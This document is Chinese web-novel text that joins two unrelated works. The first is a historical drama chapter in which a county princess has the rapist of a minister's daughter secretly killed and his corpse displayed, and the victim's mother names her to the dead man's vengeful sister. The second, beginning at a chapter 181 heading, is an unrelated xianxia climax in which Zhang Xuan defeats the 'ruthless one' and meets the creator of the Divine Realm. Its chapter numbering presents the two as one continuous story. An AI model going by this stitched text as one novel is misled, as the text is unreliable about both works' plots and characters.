要是放任不管,恐怕还有其他女子会受到同样的伤害。 同为女子,在这个本就对女子不公的世道,该出手时就该出手。 她低头看了眼文夫人,道:“我可以帮忙将状纸递上去,如果你们不方便,状纸我也可以找人代笔,到时候只需要令千金签字……” 文夫人神色大惊,疯狂摇头,“不,不可啊!县主,要是状纸递上去,此事必然会彻查清楚,届时……小女的事就会闹的人尽皆知,名声必毁。” 等时候,文小娩别说是寻得良胥,恐怕出个门都要遭人白眼和讥讽。 光是想到那样的场景,文夫人就接受不了。 “县主,同为女子,您应该知道对于女子而言,清白两字何其重要?倘若这件事真的传出去,后果不堪设想啊!” 秦时月眉头拧紧,眼底闪过一抹不悦。 想要为文小娩讨回公道,让真凶受到惩治,这是唯一的办法。 她盯着文夫人看了很久,女儿的清白都没有了,还受到了侮辱,她现在还想的是外人的眼光。 “文夫人觉得此事如何才能在不被外人所知的情况下,让欺辱了文小姐的人受到惩罚?” 文夫人神色一怔,脑袋一片混乱,半天都说不出一句话。 秦时月见状,冷笑一声,“真是愚蠢。” 随后她不再多言,起身直接离开。 “明月县主。”文夫人赶忙从地上起来,追了上去。 走廊上,秦时月停下来,侧头看了眼文夫人,“既想报仇,又不想将真相公之于众,无论是谁,都没办法处理这件事。” “若我是你,绝对不会在意别人的眼光。” “文小姐毕竟是你的女儿,你想如何做,那是你的事,保密的事可以,至于你想怎么报仇,那是文夫人你自己的事,我这次来太傅府,本就是为了给你和文小姐看病,其他的事与我无关。” 话落,秦时月离开了原地。 盯着她的背影,文夫人的脸色越发难看。 路上,秦时月心情烦躁,文夫人的担忧她能明白,只不过她的胆子太小了,都说为母则刚,现在看来,也不全是。 第180章 被出卖 仔细想想文小娩还真是可怜,竟有文夫人这样的母亲。 不过相对比之下,卓静却是连文夫人这样的女子都不如。 她摇摇头,不再继续想这件事。 回到长乐侯府,秦时月洗漱一番,随后便歇息了。 深夜,敲门声响,秦时月从床榻上坐起来,“进来。” “县主,刚才查到一名太子党的余孽,他正好就是玷污了文小姐之人。”影夜闪身进来,低头说道。 秦时月抬起眼帘,眼底闪过异样之色,“是何人?” “杨太师之子,杨晟。”影夜回道。 原来是太师之子,怪不得文小娩会有所顾虑。 “去处理了。” “是,县主。”影夜转身离开。 秦时月想到了什么,补充了一句,“注意莫要留下把柄,事后,挂在城墙上示众。” 这样的畜生就这么死了,实在是太便宜他了,他就应该受万人唾弃。 第二日,百姓们看到城门上挂着的尸体,顿时惊惧万分,随后就是议论纷纷。 “这人是谁啊?为何会在被杀死之后被挂在城门上?” “究竟是多大的仇怨才能做出这样的事?” “或许是他惹到了什么不该惹的人?” “我认得此人,这人好像是杨太师之子,杨晟!” “什么?” 很快这件事就在京城中传得沸沸扬扬,引得满朝震惊。 太师府,杨晟的尸体被送了回来,在看到后,杨莹雪的脸色瞬间变得苍白无比,“兄长!” “怎么会这样?究竟发生了何事?兄长为何会被杀?究竟是谁做的!” 府上的人都不知道是怎么回事。 杨莹雪忽然想到了什么,眼底的恨意呼之欲出,她攥紧拳头,咬牙切齿道:“文小娩!” 贱人,一定是那个贱人不甘心被毁清白,所以才会对兄长下此狠手! 灵堂上,她跪在地上看着眼前的棺材,双眼猩红,“兄长,你放心,我一定会为你报仇血恨!” 当初明明已经息事宁人了,如今文小娩却搞出这样的事来,是她小看文小娩了。 等杨晟下葬后,杨莹雪带着气势汹汹地去了太傅府。 门外的侍从看到她来,准备进去禀报文夫人。 杨莹雪直接带着人闯了进去,在她身后的侍从每个人的手中都拿着棍棒。 侍从一路向上狂奔,等到了主院落,“夫人,不好了,杨小姐带着人气势汹汹的闯了进来。” 正在喝茶的文夫人脸色大变,她放下手中的茶杯,“什么?” 不用想她都知道肯定是为了杨晟一事。 在得知杨晟已死的消息时,文夫人的心中别提有多痛快了,那个欺辱了小娩的畜生终于死了。 她没想到的是,杨莹雪竟然找了过来。 “文小娩,你给我滚出来!”杨莹雪来到偏远,怒声吼道。 堕了胎的文小娩身体虚弱,她在床榻上躺着,听到杨莹雪的声音,缓慢起身坐着。 她怎么来了?难不成是为了杨晟一事? “好,你不出来,那我进来!”来到房间门口,杨莹雪看了眼身后的侍从,“撞门!” 太傅府的侍从和婢女想要阻拦,却因不是杨莹雪带来之人的对手,全部都得控制住。 伴随着房门不断地被撞击,文小娩本就苍白的脸,又白了好几个度。 杨莹雪恶狠狠地说道:“文小娩,你害死我兄长,我定要让你们一家人都给我兄长偿命。” 文小娩和她相识许久,明白她是说到做到的脾性,害怕地缩在被子里,身体止不住地发抖。 文夫人急急忙忙地从主院落赶来,正好这时房门被撞开。 看到杨莹雪准备冲进去时,她拔高了嗓音,“杨小姐,杨公子之死与太傅府无关。” “不是你们还能是谁?”杨莹雪根本就不相信,冲进去直接将被子里的文小娩抓了出来。 文夫人赶忙跑进去,“真的不是。” “杨小姐,此事若真的是太傅府所为,我必然会承认。” 杨莹雪看了眼被摁在地上的文小娩,看她的模样,脸色苍白的毫无血色,单薄的身子瑟瑟发抖。 “哦?不是你们,还能是谁?”她脸色一沉。 以她对文小娩的了解,她做不出杀人的事,至于文夫人,也是一个懦弱之人。 看杨莹雪双眼猩红,杀气腾腾的模样,文夫人很是害怕。 至于究竟是谁她不能确定,唯一有可能的人只有秦时月。 她脱口而出,“是,是明月县主!” “秦时月?”杨莹雪神色一怔,狐疑地盯着她看,“我与她无冤无仇,她为何要杀我兄长?” 文夫人拍着胸口说道:“是真的。” “明月县主疾恶如仇,除了她之外就没有其他人了。” 杨莹雪依旧不相信。 “是真的,我愿意以我的性命担保,杨公子一定是被明月县主所杀。” 杨莹雪看到她眼底闪烁着坚定的神色。 看样子应该是真的。 离开前,她冷声道:“倘若不是,你们文家都得给我兄长陪葬!” 文夫人赶忙过去,将地上的文小娩扶起来,“小娩,你怎么样了?有没有伤到?” 文小娩明显被刚才的场景吓得不轻,半天不说话,文夫人将她扶着坐在床榻上。 路上,杨莹雪神色凝重,冷风吹过,让她逐渐冷静下来。 眼下辰王殿下带着战功回京,太子殿下被敌军暗算,死在了战场上,三皇子疯了后被贬。 如今最有可能坐上太子之位的人就是辰王。 想要对付秦时月,没那么容易。 太师府,前厅。 杨莹雪看了眼悲伤的杨太师和杨夫人,神色难看地说道:“据女儿调查,兄长之死是明月县主所为。” “什么?”杨夫人瞪大双眼,“晟儿与她无冤无仇,她为何要对晟儿下此狠手?” “此事绝不能就此作罢,走,去报官,不过一个县主,她还能反了天不成!”杨太师怒不可遏地说道。 “父亲不可,秦时月的身份虽不是特别高贵,但她深受皇后娘娘信重,还与辰王有婚约,我们不可和她硬碰硬。”杨莹雪赶忙说道。 尽管长乐侯不足为惧,还有皇后和宋墨辰。 第181章 异想天开 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 